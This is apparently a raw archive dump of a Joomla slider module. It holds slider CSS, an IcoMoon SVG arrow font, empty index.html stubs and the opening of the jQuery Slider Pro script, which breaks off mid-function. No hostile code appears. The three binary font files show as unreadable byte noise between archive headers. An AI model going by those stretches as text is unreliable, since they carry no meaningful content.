.sp-selected-thumbnail:before{content:'';position:absolute;height:100%;border-left:5px solid #aaa;right:0;top:0;margin-right:15px}.ie10 .sp-left-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.ie11 .sp-left-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.ie9 .sp-left-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.sp-left-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{content:"\e60c";font-family:"apicon";}.sp-left-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{position:absolute;font-size:24px;line-height:24px;color:#aaa;right:1px;top:50%;margin-top:-10px}.sp-bottom-thumbnails.sp-has-pointer{margin-top:-13px}.sp-bottom-thumbnails.sp-has-pointer .sp-thumbnail{position:absolute;top:18px;margin-top:0}.sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail:before{content:'';position:absolute;width:100%;border-bottom:5px solid #aaa;top:0;margin-top:13px}.sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{content:"\e60d";font-family:"apicon";position:absolute;font-size:24px;line-height:24px;color:#aaa;left:50%;top:0;margin-left:-9px}.sp-top-thumbnails.sp-has-pointer{margin-bottom:-13px}.sp-top-thumbnails.sp-has-pointer .sp-thumbnail{position:absolute;bottom:18px}.sp-top-thumbnails.sp-has-pointer .sp-selected-thumbnail:before{content:'';position:absolute;width:100%;border-bottom:5px solid #aaa;bottom:0;margin-bottom:13px}.sp-top-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{content:"\e60a";font-family:"apicon";position:absolute;font-size:24px;line-height:24px;color:#aaa;left:50%;bottom:0;margin-left:-9px}.sp-layer{visibility:hidden;position:absolute;margin:0;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;-webkit-font-smoothing:subpixel-antialiased}.sp-layer.sp-static{visibility:visible}.sp-black{color:#fff;background:#000;background:rgba(0,0,0,.7)}.sp-white{color:#000;background:#fff;background:rgba(255,255,255,.7)}.sp-arrow,.sp-thumbnail-arrow,a.sp-video:after{text-align:center;color:#FFF}.sp-full-screen,.sp-selected-button{background-color:#000}.sp-rounded{border-radius:10px}.sp-padding{padding:10px}.sp-selectable{cursor:default}.sp-caption-container{text-align:center;margin-top:10px}.sp-caption{visibility:hidden}.sp-full-screen{margin:0!important}.sp-full-screen-button{position:absolute;top:10px;right:14px;font-size:22px;font-weight:700;line-height:1;cursor:pointer}.sp-full-screen-button:before{content:"\e602";font-family:"apicon"}.sp-fade-full-screen{opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s}.slider-pro:hover .sp-fade-full-screen{opacity:1}.sp-buttons{position:relative;width:100%;text-align:center;padding-top:10px}.sp-arrow,.sp-thumbnail-arrows,a.sp-video:after{position:absolute}.sp-rtl .sp-buttons{direction:rtl}.sp-button{width:10px;height:10px;border:2px solid #000;border-radius:50%;margin:4px;display:inline-block;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;cursor:pointer}.sp-fade-arrows{opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s}.sp-slides-container:hover .sp-fade-arrows{opacity:1}.sp-arrow{cursor:pointer;font-family:"apicon";font-weight:400;font-size:50px;line-height:140%}.sp-horizontal .sp-arrow{top:50%;margin-top:-25px}.sp-vertical .sp-arrow{left:50%;margin-left:-25px}.ie7 .sp-previous-arrow:before,.ie8 .sp-previous-arrow:before,.ie9 .sp-previous-arrow:before,.ios .sp-previous-arrow:before,.sp-previous-arrow:before{content:"\e603";font-family:"apicon";}.ie7.sp-vertical .sp-previous-arrow:before,.ie8.sp-vertical .sp-previous-arrow:before{content:"\e609";font-family:"apicon";}.ie7 .sp-next-arrow:before,.ie8 .sp-next-arrow:before,.ie9 .sp-next-arrow:before,.ios .sp-next-arrow:before,.sp-next-arrow:before{content:"\e604";font-family:"apicon";}.ie7.sp-vertical .sp-next-arrow:before,.ie8.sp-vertical .sp-next-arrow:before{content:"\e600";font-family:"apicon";}.sp-vertical .sp-previous-arrow:before{content:"\e609";font-family:"apicon";}.sp-vertical .sp-next-arrow:before{content:"\e600";font-family:"apicon";}.sp-horizontal .sp-previous-arrow{left:0}.sp-horizontal.sp-rtl .sp-previous-arrow{right:0;left:auto}.sp-horizontal .sp-next-arrow{right:0}.sp-horizontal.sp-rtl .sp-next-arrow{left:0;right:auto}.sp-vertical .sp-previous-arrow{top:0}.sp-vertical .sp-next-arrow{bottom:0}.sp-fade-thumbnail-arrows{opacity:0;-webkit-transition:opacity .5s;transition:opacity .5s}.sp-thumbnails-container:hover .sp-fade-thumbnail-arrows{opacity:1}.sp-bottom-thumbnails .sp-thumbnail-arrows,.sp-top-thumbnails .sp-thumbnail-arrows{width:100%;top:50%;left:0;margin-top:-2px}.sp-left-thumbnails .sp-thumbnail-arrows,.sp-right-thumbnails .sp-thumbnail-arrows{height:100%;top:0;left:50%;margin-left:-2px}.sp-thumbnail-arrow{position:absolute;background:rgba(0,0,0,.3);width:32px;font-size:30px;text-shadow:1px 1px 1px #666;cursor:pointer}.sp-left-thumbnails .sp-thumbnail-arrows .sp-thumbnail-arrow,.sp-right-thumbnails .sp-thumbnail-arrows .sp-thumbnail-arrow{-ms-transform:rotate(90deg);-webkit-transform:rotate(90deg);transform:rotate(90deg)}.ie7 .sp-previous-thumbnail-arrow:before,.ie8 .sp-previous-thumbnail-arrow:before,.ie9 .sp-previous-thumbnail-arrow:before,.ios .sp-previous-thumbnail-arrow:before,.sp-previous-thumbnail-arrow:before{content:"\e606";font-family:"apicon";}.ie7.sp-vertical .sp-previous-thumbnail-arrow:before,.ie8.sp-vertical .sp-previous-thumbnail-arrow:before{content:"\e608";font-family:"apicon"}.ie7 .sp-next-thumbnail-arrow:before,.ie8 .sp-next-thumbnail-arrow:before,.ie9 .sp-next-thumbnail-arrow:before,.ios .sp-next-thumbnail-arrow:before,.sp-next-thumbnail-arrow:before{content:"\e607";font-family:"apicon";}.ie7.sp-vertical .sp-next-thumbnail-arrow:before,.ie8.sp-vertical .sp-next-thumbnail-arrow:before{content:"\e605";font-family:"apicon";}.sp-bottom-thumbnails .sp-previous-thumbnail-arrow,.sp-top-thumbnails .sp-previous-thumbnail-arrow{left:0}.sp-bottom-thumbnails .sp-next-thumbnail-arrow,.sp-top-thumbnails .sp-next-thumbnail-arrow{right:0}.sp-left-thumbnails .sp-previous-thumbnail-arrow,.sp-right-thumbnails .sp-previous-thumbnail-arrow{top:0}.sp-left-thumbnails .sp-next-thumbnail-arrow,.sp-right-thumbnails .sp-next-thumbnail-arrow{bottom:0}a.sp-video{text-decoration:none}a.sp-video img{border:none}a.sp-video:after{content:"\e60e";font-family:"apicon";width:12vh;padding:2.25vh 1vh 0 2.2vh;text-align:center;height:12vh;line-height:7vh;border:2px solid #fff;font-size:5vh;border-radius:50%;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.2);text-shadow:1px 1px 3px rgba(0,0,0,.3);margin:auto;}@media (max-width:979px){.sp-has-buttons{margin-bottom:10px}.sp-arrow{font-size:44px;line-height:120%}.sp-vertical .sp-previous-arrow{top:12px}.sp-vertical .sp-next-arrow{bottom:12px}}@media (max-width:767px){.sp-arrow{font-size:20px}.sp-horizontal .sp-arrow{margin-top:-15px}.sp-vertical .sp-arrow{margin-left:-15px}.sp-vertical .sp-previous-arrow{top:10px}.sp-vertical .sp-next-arrow{bottom:10px}.sp-button{width:9px;height:9px;border:1px solid #000}}@media (max-width:480px){.sp-arrow{font-size:30px;line-height:110%}.sp-vertical .sp-previous-arrow{top:5px}.sp-vertical .sp-next-arrow{bottom:5px}.sp-button{width:8px;height:8px;border:1px solid #000}}PK!O:W�=
=
7mod_ap_smart_layerslider/assets/fonts/arrows/apicon.svgnu&1i�<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="apicon" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe600;" glyph-name="600" d="M1024 670.377l-512-460.827-512 460.827 14.473 16.073 497.528-447.761 497.528 447.761 14.473-16.073z" />
<glyph unicode="&#xe601;" glyph-name="601" d="M553.136 820.192l0.032-331.072 331.040 0.064 0.032 26.24-286.176 0.064 364.608 364.608-18.576 18.56-364.624-364.624 0.032 286.16zM79.888-2.688l364.624 364.624v-286.096h26.336l-0.032 331.024h-330.944l-0.128-26.32h286.208l-364.624-364.608z" />
<glyph unicode="&#xe602;" glyph-name="602" d="M452.288 406.864l-364.624-364.624v286.096h-26.336l0.032-331.024h330.944l0.128 26.32h-286.208l364.624 364.608zM962.672 567.584l-0.032 331.072-331.040-0.064-0.032-26.24 286.176-0.064-364.608-364.608 18.576-18.56 364.624 364.624-0.032-286.16z" />
<glyph unicode="&#xe603;" glyph-name="603" horiz-adv-x="477" d="M29.107 448l447.782-497.527-16.073-14.473-460.816 512 460.816 512 16.073-14.473-447.782-497.527z" />
<glyph unicode="&#xe604;" glyph-name="604" horiz-adv-x="477" d="M476.89 448l-460.816-512.011-16.073 14.473 447.761 497.538-447.772 497.538 16.073 14.462 460.827-512z" />
<glyph unicode="&#xe605;" glyph-name="605" d="M280 525.336l256-256 256 256-59.736 59.728-196.264-196.264-196.264 196.264z" />
<glyph unicode="&#xe606;" glyph-name="606" d="M618.136 699.2l-256-256 256-256 59.728 59.736-196.264 196.264 196.264 196.264z" />
<glyph unicode="&#xe607;" glyph-name="607" d="M402.136 639.464l196.264-196.264-196.264-196.264 59.728-59.736 256 256-256 256z" />
<glyph unicode="&#xe608;" glyph-name="608" d="M792 361.064l-256 256-256-256 59.736-59.728 196.264 196.264 196.264-196.264z" />
<glyph unicode="&#xe609;" glyph-name="609" d="M1024.011 225.623l-14.473-16.073-497.538 447.782-497.538-447.782-14.462 16.073 512 460.827 512.011-460.827z" />
<glyph unicode="&#xe60a;" glyph-name="60A" d="M0 672.064h1024.373l-512.181-469.461z" />
<glyph unicode="&#xe60b;" glyph-name="60B" d="M746.731 949.76v-1003.52l-469.461 501.76z" />
<glyph unicode="&#xe60c;" glyph-name="60C" d="M757.397 448l-469.461-501.76v1003.52z" />
<glyph unicode="&#xe60d;" glyph-name="60D" d="M512.192 693.397l512.181-469.461h-1024.373z" />
<glyph unicode="&#xe60e;" glyph-name="60E" horiz-adv-x="768" d="M0 960l768-512-768-512z" />
</font></defs></svg>PK!��
\\7mod_ap_smart_layerslider/assets/fonts/arrows/apicon.eotnu&1i�\��LP��apiconRegularVersion 1.0apicon�0OS/2��`cmapV̕Tgasppglyf�C�x�head+L06hhea��h$hmtx<���Llocah�(maxp name���o zpost� ��������3	@����@�@ 8
 ����� ���������797979��	7	������4��A�=����!5!'	3!!)K��m���m����4��m����m��K��=����	#!5!%!!��K��m���l�����l�K��m������	��3��@�������	'	7�3��@������
I	''<��
�<��j���	7'7j�<�����<������	���<���<-i	7��<��i�<����%	'�����A���!���+�����*��� ����	��+��
���	!���+���	������_<�׆�׆�������==��j� 
4\������$2@N\�W3lE
~		^	9	r		K	
4�apiconapiconVersion 1.0Version 1.0apiconapiconapiconapiconRegularRegularapiconapiconFont generated by IcoMoon.Font generated by IcoMoon.PK!!�w�8mod_ap_smart_layerslider/assets/fonts/arrows/apicon.woffnu&1i�wOFF�OS/2``�cmaphTTV̕gasp�glyf����C�head|66+Lhhea�$$��hmtx�LL<��loca$((hmaxpL  namelzz���opost�  ��������3	@����@�@ 8
 ����� ���������797979��	7	������4��A�=����!5!'	3!!)K��m���m����4��m����m��K��=����	#!5!%!!��K��m���l�����l�K��m������	��3��@�������	'	7�3��@������
I	''<��
�<��j���	7'7j�<�����<������	���<���<-i	7��<��i�<����%	'�����A���!���+�����*��� ����	��+��
���	!���+���	������_<�׆�׆�������==��j� 
4\������$2@N\�W3lE
~		^	9	r		K	
4�apiconapiconVersion 1.0Version 1.0apiconapiconapiconapiconRegularRegularapiconapiconFont generated by IcoMoon.Font generated by IcoMoon.PK!����7mod_ap_smart_layerslider/assets/fonts/arrows/apicon.ttfnu&1i��0OS/2��`cmapV̕Tgasppglyf�C�x�head+L06hhea��h$hmtx<���Llocah�(maxp name���o zpost� ��������3	@����@�@ 8
 ����� ���������797979��	7	������4��A�=����!5!'	3!!)K��m���m����4��m����m��K��=����	#!5!%!!��K��m���l�����l�K��m������	��3��@�������	'	7�3��@������
I	''<��
�<��j���	7'7j�<�����<������	���<���<-i	7��<��i�<����%	'�����A���!���+�����*��� ����	��+��
���	!���+���	������_<�׆�׆�������==��j� 
4\������$2@N\�W3lE
~		^	9	r		K	
4�apiconapiconVersion 1.0Version 1.0apiconapiconapiconapiconRegularRegularapiconapiconFont generated by IcoMoon.Font generated by IcoMoon.PK!�a�--7mod_ap_smart_layerslider/assets/fonts/arrows/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!�a�--0mod_ap_smart_layerslider/assets/fonts/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!��*�RR6mod_ap_smart_layerslider/assets/js/jquery.sliderPro.jsnu&1i�/*!
*  - v1.5.0
* Homepage: http://bqworks.com/slider-pro/
* Author: bqworks
* Author URL: http://bqworks.com/
*/
;(function( window, $ ) {

	"use strict";

	// Static methods for Slider Pro
	$.SliderPro = {

		// List of added modules
		modules: [],

		// Add a module by extending the core prototype
		addModule: function( name, module ) {
			this.modules.push( name );
			$.extend( SliderPro.prototype, module );
		}
	};

	// namespace
	var NS = $.SliderPro.namespace = 'SliderPro';

	var SliderPro = function( instance, options ) {

		// Reference to the slider instance
		this.instance = instance;

		// Reference to the slider jQuery element
		this.$slider = $( this.instance );

		// Reference to the slides (sp-slides) jQuery element
		this.$slides = null;

		// Reference to the mask (sp-mask) jQuery element
		this.$slidesMask = null;

		// Reference to the slides (sp-slides-container) jQuery element
		this.$slidesContainer = null;

		// Array of SliderProSlide objects, ordered by their DOM index
		this.slides = [];

		// Array of SliderProSlide objects, ordered by their left/top position in the slider.
		// This will be updated continuously if the slider is loopable.
		this.slidesOrder = [];

		// Holds the options passed to the slider when it was instantiated
		this.options = options;

		// Holds the final settings of the slider after merging the specified
		// ones with the default ones.
		this.settings = {};

		// Another reference to the settings which will not be altered by breakpoints or by other means
		this.originalSettings = {};

		// Reference to the original 'gotoSlide' method
		this.originalGotoSlide = null;

		// The index of the currently selected slide (starts with 0)
		this.selectedSlideIndex = 0;

		// The index of the previously selected slide
		this.previousSlideIndex = 0;

		// Indicates the position of the slide considered to be in the middle.
		// If there are 5 slides (0, 1, 2, 3, 4) the middle position will be 2.
		// If there are 6 slides (0, 1, 2, 3, 4, 5) the middle position will be approximated to 2.
		this.middleSlidePosition = 0;

		// Indicates the type of supported transition (CSS3 2D, CSS3 3D or JavaScript)
		this.supportedAnimation = null;

		// Indicates the required vendor prefix for CSS (i.e., -webkit, -moz, etc.)
		this.vendorPrefix = null;

		// Indicates the name of the CSS transition's complete event (i.e., transitionend, webkitTransitionEnd, etc.)
		this.transitionEvent = null;

		// Indicates the 'left' or 'top' position, depending on the orientation of the slides
		this.positionProperty = null;

		// Indicates the 'width' or 'height', depending on the orientation of the slides
		this.sizeProperty = null;

		// Indicates if the current browser is IE
		this.isIE = null;

		// The position of the slides container
		this.slidesPosition = 0;

		// The total width/height of the slides
		this.slidesSize = 0;

		// The average width/height of a slide
		this.averageSlideSize = 0;

		// The width of the individual slide
		this.slideWidth = 0;

		// The height of the individual slide
		this.slideHeight = 0;

		// Reference to the old slide width, used to check if the width has changed
		this.previousSlideWidth = 0;

		// Reference to the old slide height, used to check if the height has changed
		this.previousSlideHeight = 0;
		
		// Reference to the old window width, used to check if the window width has changed
		this.previousWindowWidth = 0;
		
		// Reference to the old window height, used to check if the window height has changed
		this.previousWindowHeight = 0;

		// Property used for deferring the resizing of the slider
		this.allowResize = true;

		// Unique ID to be used for event listening
		this.uniqueId = new Date().valueOf();

		// Stores size breakpoints
		this.breakpoints = [];

		// Indicates the current size breakpoint
		this.currentBreakpoint = -1;

		// An array of shuffled indexes, based on which the slides will be shuffled
		this.shuffledIndexes = [];

		// Initialize the slider
		this._init();
	};

	SliderPro.prototype = {

		// The starting place for the slider
		_init: function() {
			var that = this;

			this.supportedAnimation = SliderProUtils.getSupportedAnimation();
			this.vendorPrefix = SliderProUtils.getVendorPrefix();
			this.transitionEvent = SliderProUtils.getTransitionEvent();
			this.isIE = SliderProUtils.checkIE();

			// Remove the 'sp-no-js' when the slider's JavaScript code starts running
			this.$slider.removeClass( 'sp-no-js' );

			// Add the 'ios' class if it's an iOS device
			if ( window.navigator.userAgent.match( /(iPad|iPhone|iPod)/g ) ) {
				this.$slider.addClass( 'ios' );
			}

			// Check if IE (older than 11) is used and add the version number as a class to the slider since
			// older IE versions might need CSS tweaks.
			var rmsie = /(msie) ([\w.]+)/,
				ieVersion = rmsie.exec( window.navigator.userAgent.toLowerCase() );
			
			if ( this.isIE ) {
				this.$slider.addClass( 'ie' );
			}

			if ( ieVersion !== null ) {
				this.$slider.addClass( 'ie' + parseInt( ieVersion[2], 10 ) );
			}

			// Set up the slides containers
			// slider-pro > sp-slides-container > sp-mask > sp-slides > sp-slide
			this.$slidesContainer = $( '<div class="sp-slides-container"></div>' ).appendTo( this.$slider );
			this.$slidesMask = $( '<div class="sp-mask"></div>' ).appendTo( this.$slidesContainer );
			this.$slides = this.$slider.find( '.sp-slides' ).appendTo( this.$slidesMask );
			this.$slider.find( '.sp-slide' ).appendTo( this.$slides );
			
			var modules = $.SliderPro.modules;

			// Merge the modules' default settings with the core's default settings
			if ( typeof modules !== 'undefined' ) {
				for ( var i = 0; i < modules.length; i++ ) {
					var defaults = modules[ i ].substring( 0, 1 ).toLowerCase() + modules[ i ].substring( 1 ) + 'Defaults';

					if ( typeof this[ defaults ] !== 'undefined' ) {
						$.extend( this.defaults, this[ defaults ] );
					}
				}
			}

			// Merge the specified setting with the default ones
			this.settings = $.extend( {}, this.defaults, this.options );

			// Initialize the modules
			if ( typeof modules !== 'undefined' ) {
				for ( var j = 0; j < modules.length; j++ ) {
					if ( typeof this[ 'init' + modules[ j ] ] !== 'undefined' ) {
						this[ 'init' + modules[ j ] ]();
					}
				}
			}

			// Keep a reference of the original settings and use it
			// to restore the settings when the breakpoints are used.
			this.originalSettings = $.extend( {}, this.settings );

			// Get the reference to the 'gotoSlide' method
			this.originalGotoSlide = this.gotoSlide;

			// Parse the breakpoints object and store the values into an array,
			// sorting them in ascending order based on the specified size.
			if ( this.settings.breakpoints !== null ) {
				for ( var sizes in this.settings.breakpoints ) {
					this.breakpoints.push({ size: parseInt( sizes, 10 ), properties:this.settings.breakpoints[ sizes ] });
				}

				this.breakpoints = this.breakpoints.sort(function( a, b ) {
					return a.size >= b.size ? 1: -1;
				});
			}

			// Set which slide should be selected initially
			this.selectedSlideIndex = this.settings.startSlide;

			// Shuffle/randomize the slides
			if ( this.settings.shuffle === true ) {
				var slides = this.$slides.find( '.sp-slide' ),
					shuffledSlides = [];

				// Populate the 'shuffledIndexes' with index numbers
				slides.each(function( index ) {
					that.shuffledIndexes.push( index );
				});

				for ( var k = this.shuffledIndexes.length - 1; k > 0; k-- ) {
					var l = Math.floor( Math.random() * ( k + 1 ) ),
						temp = this.shuffledIndexes[ k ];

					this.shuffledIndexes[ k ] = this.shuffledIndexes[ l ];
					this.shuffledIndexes[ l ] = temp;
				}

				// Reposition the slides based on the order of the indexes in the
				// 'shuffledIndexes' array
				$.each( this.shuffledIndexes, function( index, element ) {
					shuffledSlides.push( slides[ element ] );
				});
				
				// Append the sorted slides to the slider
				this.$slides.empty().append( shuffledSlides ) ;
			}
			
			// Resize the slider when the browser window resizes.
			// Also, deffer the resizing in order to not allow multiple
			// resizes in a 200 milliseconds interval.
			$( window ).on( 'resize.' + this.uniqueId + '.' + NS, function() {
			
				// Get the current width and height of the window
				var newWindowWidth = $( window ).width(),
					newWindowHeight = $( window ).height();
				
				// If the resize is not allowed yet or if the window size hasn't changed (this needs to be verified
				// because in IE8 and lower the resize event is triggered whenever an element from the page changes
				// its size) return early.
				if ( that.allowResize === false ||
					( that.previousWindowWidth === newWindowWidth && that.previousWindowHeight === newWindowHeight ) ) {
					return;
				}
				
				// Assign the new values for the window width and height
				that.previousWindowWidth = newWindowWidth;
				that.previousWindowHeight = newWindowHeight;
			
				that.allowResize = false;

				setTimeout(function() {
					that.resize();
					that.allowResize = true;
				}, 200 );
			});

			// Resize the slider when the 'update' method is called.
			this.on( 'update.' + NS, function() {

				// Reset the previous slide width
				that.previousSlideWidth = 0;

				// Some updates might require a resize
				that.resize();
			});

			this.update();

			// add the 'sp-selected' class to the initially selected slide
			this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).addClass( 'sp-selected' );

			// Fire the 'init' event
			this.trigger({ type: 'init' });
			if ( $.isFunction( this.settings.init ) ) {
				this.settings.init.call( this, { type: 'init' });
			}
		},

		// Update the slider by checking for setting changes and for slides
		// that weren't initialized yet.
		update: function() {
			var that = this;

			// Check the current slider orientation and reset CSS that might have been
			// added for a different orientation, since the orientation can be changed
			// at runtime.
			if ( this.settings.orientation === 'horizontal' ) {
				this.$slider.removeClass( 'sp-vertical' ).addClass( 'sp-horizontal' );
				this.$slider.css({ 'height': '', 'max-height': '' });
				this.$slides.find( '.sp-slide' ).css( 'top', '' );
			} else if ( this.settings.orientation === 'vertical' ) {
				this.$slider.removeClass( 'sp-horizontal' ).addClass( 'sp-vertical' );
				this.$slides.find( '.sp-slide' ).css( 'left', '' );
			}

			if ( this.settings.rightToLeft === true ) {
				this.$slider.addClass( 'sp-rtl' );
			} else {
				this.$slider.removeClass( 'sp-rtl' );
			}

			this.positionProperty = this.settings.orientation === 'horizontal' ? 'left' : 'top';
			this.sizeProperty = this.settings.orientation === 'horizontal' ? 'width' : 'height';

			// Reset the 'gotoSlide' method
			this.gotoSlide = this.originalGotoSlide;

			// Loop through the array of SliderProSlide objects and if a stored slide is found
			// which is not in the DOM anymore, destroy that slide.
			for ( var i = this.slides.length - 1; i >= 0; i-- ) {
				if ( this.$slider.find( '.sp-slide[data-index="' + i + '"]' ).length === 0 ) {
					var slide = this.slides[ i ];

					slide.off( 'imagesLoaded.' + NS );
					slide.destroy();
					this.slides.splice( i, 1 );
				}
			}

			this.slidesOrder.length = 0;

			// Loop through the list of slides and initialize newly added slides if any,
			// and reset the index of each slide.
			this.$slider.find( '.sp-slide' ).each(function( index ) {
				var $slide = $( this );

				if ( typeof $slide.attr( 'data-init' ) === 'undefined' ) {
					that._createSlide( index, $slide );
				} else {
					that.slides[ index ].setIndex( index );
				}

				that.slidesOrder.push( index );
			});

			// Calculate the position/index of the middle slide
			this.middleSlidePosition = parseInt( ( that.slidesOrder.length - 1 ) / 2, 10 );

			// Arrange the slides in a loop
			if ( this.settings.loop === true ) {
				this._updateSlidesOrder();
			}

			// Fire the 'update' event
			this.trigger({ type: 'update' });
			if ( $.isFunction( this.settings.update ) ) {
				this.settings.update.call( this, { type: 'update' } );
			}
		},

		// Create a SliderProSlide instance for the slide passed as a jQuery element
		_createSlide: function( index, element ) {
			var that = this,
				slide = new SliderProSlide( $( element ), index, this.settings );

			this.slides.splice( index, 0, slide );

			slide.on( 'imagesLoaded.' + NS, function( event ) {
				if ( that.settings.autoSlideSize === true ) {
					if ( that.$slides.hasClass( 'sp-animated' ) === false ) {
						that._resetSlidesPosition();
					}

					that._calculateSlidesSize();
				}

				if ( that.settings.autoHeight === true && event.index === that.selectedSlideIndex ) {
					that._resizeHeightTo( slide.getSize().height);
				}
			});
		},

		// Arrange the slide elements in a loop inside the 'slidesOrder' array
		_updateSlidesOrder: function() {
			var	slicedItems,
				i,

				// Calculate the distance between the selected element and the middle position
				distance = $.inArray( this.selectedSlideIndex, this.slidesOrder ) - this.middleSlidePosition;

			// If the distance is negative it means that the selected slider is before the middle position, so
			// slides from the end of the array will be added at the beginning, in order to shift the selected slide
			// forward.
			// 
			// If the distance is positive, slides from the beginning of the array will be added at the end.
			if ( distance < 0 ) {
				slicedItems = this.slidesOrder.splice( distance, Math.abs( distance ) );

				for ( i = slicedItems.length - 1; i >= 0; i-- ) {
					this.slidesOrder.unshift( slicedItems[ i ] );
				}
			} else if ( distance > 0 ) {
				slicedItems = this.slidesOrder.splice( 0, distance );

				for ( i = 0; i <= slicedItems.length - 1; i++ ) {
					this.slidesOrder.push( slicedItems[ i ] );
				}
			}
		},

		// Set the left/top position of the slides based on their position in the 'slidesOrder' array
		_updateSlidesPosition: function() {
			var selectedSlidePixelPosition = parseInt( this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).css( this.positionProperty ), 10 ),
				slide,
				$slideElement,
				slideIndex,
				previousPosition = selectedSlidePixelPosition,
				directionMultiplier,
				slideSize;
			
			if ( this.settings.autoSlideSize === true ) {
				if ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ) {
					for ( slideIndex = this.middleSlidePosition; slideIndex >= 0; slideIndex-- ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 ) + slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance;
					}

					previousPosition = selectedSlidePixelPosition;

					for ( slideIndex = this.middleSlidePosition + 1; slideIndex < this.slidesOrder.length; slideIndex++ ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition - ( slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance ) );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 );
					}
				} else {
					for ( slideIndex = this.middleSlidePosition - 1; slideIndex >= 0; slideIndex-- ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition - ( slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance ) );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 );
					}

					previousPosition = selectedSlidePixelPosition;

					for ( slideIndex = this.middleSlidePosition; slideIndex < this.slidesOrder.length; slideIndex++ ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 ) + slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance;
					}
				}
			} else {
				directionMultiplier = ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ) ? -1 : 1;
				slideSize = ( this.settings.orientation === 'horizontal' ) ? this.slideWidth : this.slideHeight;

				for ( slideIndex = 0; slideIndex < this.slidesOrder.length; slideIndex++ ) {
					$slideElement = this.$slides.find( '.sp-slide' ).eq( this.slidesOrder[ slideIndex ] );
					$slideElement.css( this.positionProperty, selectedSlidePixelPosition + directionMultiplier * ( slideIndex - this.middleSlidePosition  ) * ( slideSize + this.settings.slideDistance ) );
				}
			}
		},

		// Set the left/top position of the slides based on their position in the 'slidesOrder' array,
		// and also set the position of the slides container.
		_resetSlidesPosition: function() {
			var previousPosition = 0,
				slide,
				$slideElement,
				slideIndex,
				selectedSlideSize,
				directionMultiplier,
				slideSize;

			if ( this.settings.autoSlideSize === true ) {
				if ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ) {
					for ( slideIndex = 0; slideIndex < this.slidesOrder.length; slideIndex++ ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition - ( slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance ) );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 );
					}
				} else {
					for ( slideIndex = 0; slideIndex < this.slidesOrder.length; slideIndex++ ) {
						slide = this.getSlideAt( this.slidesOrder[ slideIndex ] );
						$slideElement = slide.$slide;
						$slideElement.css( this.positionProperty, previousPosition );
						previousPosition = parseInt( $slideElement.css( this.positionProperty ), 10 ) + slide.getSize()[ this.sizeProperty ] + this.settings.slideDistance;
					}
				}

				selectedSlideSize = this.getSlideAt( this.selectedSlideIndex ).getSize()[ this.sizeProperty ];
			} else {
				directionMultiplier = ( this.settings.rightToLeft === true && this.settings.orientation === 'horizontal' ) === true ? -1 : 1;
				slideSize = ( this.settings.orientation === 'horizontal' ) ? this.slideWidth : this.slideHeight;
 
				for ( slideIndex = 0; slideIndex < this.slidesOrder.length; slideIndex++ ) {
					$slideElement = this.$slides.find( '.sp-slide' ).eq( this.slidesOrder[ slideIndex ] );
					$slideElement.css( this.positionProperty, directionMultiplier * slideIndex * ( slideSize + this.settings.slideDistance ) );
				}

				selectedSlideSize = slideSize;
			}

			var selectedSlideOffset = this.settings.centerSelectedSlide === true && this.settings.visibleSize !== 'auto' ? Math.round( ( parseInt( this.$slidesMask.css( this.sizeProperty ), 10 ) - selectedSlideSize ) / 2 ) : 0,
				newSlidesPosition = - parseInt( this.$slides.find( '.sp-slide' ).eq( this.selectedSlideIndex ).css( this.positionProperty ), 10 ) + selectedSlideOffset;
			
			this._moveTo( newSlidesPosition, true );
		},

		// Calculate the total size of the slides and the average size of a single slide
		_calculateSlidesSize: function() {
			if ( this.settings.autoSlideSize === true ) {
				var firstSlide = this.$slides.find( '.sp-slide' ).eq( this.slidesOrder[ 0 ] ),
					firstSlidePosition = parseInt( firstSlide.css( this.positionProperty ), 10 ),
